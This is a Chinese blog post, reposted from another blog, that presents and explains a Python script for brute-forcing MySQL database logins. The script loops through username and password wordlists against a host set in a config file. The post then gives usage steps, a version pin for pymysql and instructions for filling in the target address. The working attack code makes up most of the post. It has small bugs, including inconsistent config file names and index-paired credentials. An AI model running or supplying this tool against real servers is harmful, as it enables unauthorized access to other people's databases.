利用python爆破mysql数据库

0x00

这几天学习了使用python去爆破mysql数据库。脚本转载连接:

python 构造mysql爆破器 - 东京$ - 博客园

脚本具体内容如下:

import pymysql
import optparse
import os
import configparser

def main():
    parser=optparse.OptionParser()
    parser.add_option('-u',dest='username',help='MySQL username of blasting')
    parser.add_option('-p',dest='password',help='MySQL password of blasting')
    parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
    parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
    parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
    (options,args)=parser.parse_args()
    if options.username:
        file=options.username
        usernamepo(file)
    elif options.password:
        file2=options.password
        passwordpo(file2)
    elif options.all and options.zhidinusername and options.zhidinpassword:
        un=options.zhidinusername
        pd=options.zhidinpassword
        allpo(un,pd)
    else:
        parser.print_help()
        exit()

def usernamepo(file):
    cx=open('{}'.format(file),'r')
    if os.path.exists('config.ini'):
        print('[+]Config.ini ok')
    else:
        print('[-]Config.ini Not Found')
        exit()

    print('[*]Read the configuration file information')
    cf=configparser.ConfigParser()
    cf.read('config.ini')
    host=cf.get('config','host')
    port=cf.get('config','port')
    password=cf.get('config','password')
    print('[/]-------Config.ini-------')
    print('[+]Host:{}'.format(host))
    print('[+]Port:{}'.format(port))
    print('[+]password{}'.format(password))

    print('[/]------User.txt----------')
    if os.path.exists(file):
        print('[+]User.txt ok')
    else:
        print('[-]User.txt Not Found')

    print('[/]------Mysql blasting------')
    for k in cx.readlines():
        try:
            db=pymysql.connect(host,k.strip(),password)
            print('[+]Mysql Username in {}'.format(k.strip()))
        except Exception as g:
            print('[-]Not Username:{},and Error{}'.format(k.strip(),g))


def passwordpo(file2):
    cx = open('{}'.format(file2), 'r')
    if os.path.exists('config.ini'):
        print('[+]Config.ini ok')
    else:
        print('[-]Config.ini Not Found')
        exit()

    print('[*]Read the configuration file information')
    cf = configparser.ConfigParser()
    cf.read('config2.ini')
    host = cf.get('config', 'host')
    port = cf.get('config', 'port')
    username = cf.get('config', 'username')
    print('[/]-------Config.ini-------')
    print('[+]Host:{}'.format(host))
    print('[+]Port:{}'.format(port))
    print('[+]username{}'.format(username))

    print('[/]------passwd.txt----------')
    if os.path.exists(file2):
        print('[+]Passwd.txt ok')
    else:
        print('[-]Passwd.txt Not Found')

    print('[/]------Mysql blasting------')
    for k in cx.readlines():
        try:
            db = pymysql.connect(host, username, k.strip())
            print('[+]Mysql Password in {}'.format(k.strip()))
        except Exception as g:
            print('[-]Not Password:{},and Error{}'.format(k.strip(), g))


def  allpo(un,pd):
    user=open('{}'.format(un),'r')
    passs=open('{}'.format(pd),'r')
    usern=[]
    passn=[]
    if os.path.exists(un):
        print('[+]Username.txt is ok')
    else:
        print('[-]Not Found username.txt')

    if os.path.exists(pd):
        print('[+]Password.txt is ok')
    else:
        print('[-]Not Found password.txt')

    if os.path.exists('config3.ini'):
        print('[+]Config3.ini ok')
    else:
        print('[-]Config3.ini Not Found')
        exit()

    cf=configparser.ConfigParser()
    print('[/---------cofnig3.ini-------]')
    cf.read('config3.ini')
    host=cf.get('config','host')
    print('[+]host:{}'.format(host))

    print('[/]------Mysql blasting------')
    for u in user.readlines():
        usern.append(u.strip())
    for y in passs.readlines():
        passn.append(y.strip())
    for g in range(0,len(usern)):
        try:
            dk=pymysql.connect(host,usern[g],passn[g])
            print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))
        except Exception as p:
            print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p))


if __name__ == '__main__':
    main()

0x01

脚本的使用

因为我自己的python也学的很烂,所以这个脚本也只是大概理解。首先需要注意的点就是安装上面所需的库,其中pymsql的库不能安装最新版本,要安装0.9.2的版本,否则会出现以下报错:

这个报错就是说明参数的数量不能相对应上。

然后需要创建相对应的config.ini文件。文件内容如下:

[config]
host=要爆破的地址
port=3306
username=root
password=123456

首先地址和端口就不用说了,这里之所以添加username和password的原因就在于该脚本的所提供的功能:

这里看到,可以采用-p pass.txt指定密码爆破,-u user.txt指定用户名爆破,以及-a -U user.txt -P pass.txt同时指定用户名和密码来爆破。所以例如当指定密码爆破时,所采用的账户就是上述config.ini中填写的账户。

一定要注意,想要完整的运行此脚本,需要设置好config.ini、config1.ini、config2.ini以及pass.txt、user.txt。

0x02

下面就简要去爆破一个mysql试试:

 需要注意的一点就是,回显出来的IP地址和爆破的地址是不一样的,因为是从本机发出的请求去爆破,所以下方会显示本机的IP地址。而实际上还是去爆破在config.ini中设置好的ip。当密码正确时就会自动提示了。

0x03

以上内容均是个人理解,如果有不对的地方希望能够指点一二,感激不尽。

 

 

  • 19
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值